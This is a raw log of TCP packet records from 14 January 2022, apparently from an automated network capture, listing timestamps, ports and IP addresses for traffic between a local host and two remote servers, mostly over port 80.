Jan 14, 2022 02:05:31.928510904 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928527117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928553104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928569078 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928577900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928601027 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928627014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928630114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928651094 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928664923 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928674936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928699017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928715944 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928724051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928746939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928767920 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928771973 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928797007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928809881 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928822041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928845882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928860903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928870916 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928896904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928911924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928922892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928947926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928971052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.928973913 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.928994894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929011106 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929020882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929044008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929059029 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929068089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929091930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929114103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929115057 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929136992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929152012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929160118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929184914 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929200888 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929208040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929231882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929246902 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929256916 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929281950 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929294109 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929308891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929337025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929351091 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929363966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929390907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929405928 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929415941 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929442883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929452896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.929469109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.929507017 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.953639030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953685045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953713894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953741074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953769922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953798056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953814030 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.953824997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953864098 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.953874111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953905106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953933954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953957081 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.953963041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.953980923 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.953991890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.956404924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.960798025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.960866928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.960921049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.960977077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.960984945 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961028099 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961033106 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961080074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961134911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961191893 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961193085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961249113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961299896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961303949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961344957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961391926 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961395979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961453915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961498022 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961512089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961570978 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961620092 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961621046 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961682081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961723089 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961735964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961791992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961838007 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961868048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961915016 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961951017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.961971045 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961988926 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.961990118 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962028980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962064981 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962101936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962112904 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962138891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962148905 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962173939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962213039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962248087 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962258101 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962285042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962286949 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962321997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962357044 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962395906 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962408066 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962434053 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962444067 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962469101 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962507010 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962517023 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962543964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962582111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962593079 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962620020 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962655067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962668896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962692976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962729931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962738991 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962764025 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962800026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962802887 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962836027 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962874889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962913036 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962934971 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962949991 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.962965012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.962986946 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963025093 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963036060 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.963059902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963098049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963108063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.963135004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963172913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963211060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963216066 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.963251114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963288069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963298082 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.963325024 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963362932 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963372946 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.963399887 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963435888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963442087 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.963471889 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.963514090 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.976716995 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:32.002826929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.002902985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.002945900 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.002970934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003021955 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003031969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003098965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003156900 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003161907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003221035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003264904 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003281116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003326893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003371954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003412008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003422976 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003452063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003456116 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003493071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003532887 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003539085 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003573895 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003616095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003622055 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003653049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003691912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003695965 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003730059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003767967 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003809929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003820896 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003850937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003863096 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.003892899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003936052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003973961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.003993034 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004014969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004024982 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004054070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004091978 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004101038 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004131079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004170895 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004177094 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004210949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004251957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004256964 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004290104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004331112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004337072 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004373074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004411936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004421949 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004452944 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004493952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004496098 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004549026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004590988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004594088 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004630089 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004672050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004678011 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004712105 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004753113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004764080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004793882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004833937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004838943 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004870892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.004913092 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.004913092 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027302980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027375937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027417898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027419090 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.027456045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027466059 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.027494907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027534962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027542114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.027586937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027628899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027667999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.027681112 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.027721882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.029665947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.029721975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.029763937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.029827118 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.036515951 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:32.036612034 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:32.036674023 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.036722898 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.036756992 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.036776066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.036839962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.036896944 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.036911964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.036976099 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037024975 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037038088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037100077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037143946 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037162066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037225962 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037271976 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037286997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037348986 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037401915 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037411928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037466049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037511110 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037523031 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037580013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037622929 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037640095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037698984 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037741899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037753105 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037782907 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037823915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037830114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037908077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037928104 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.037947893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037987947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.037987947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038026094 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038064003 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038068056 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038103104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038144112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038149118 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038183928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038224936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038264036 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038274050 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038304090 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038305044 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038342953 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038382053 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038420916 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038424015 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038455963 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038458109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038496971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038537979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038577080 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038590908 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038616896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038629055 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038657904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038696051 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038738012 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038748980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038778067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038788080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038817883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038856983 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038894892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038913012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038933992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.038949966 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.038971901 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039011002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039051056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.039062023 CET	49901	80	192.168.2.3	141.8.194.74
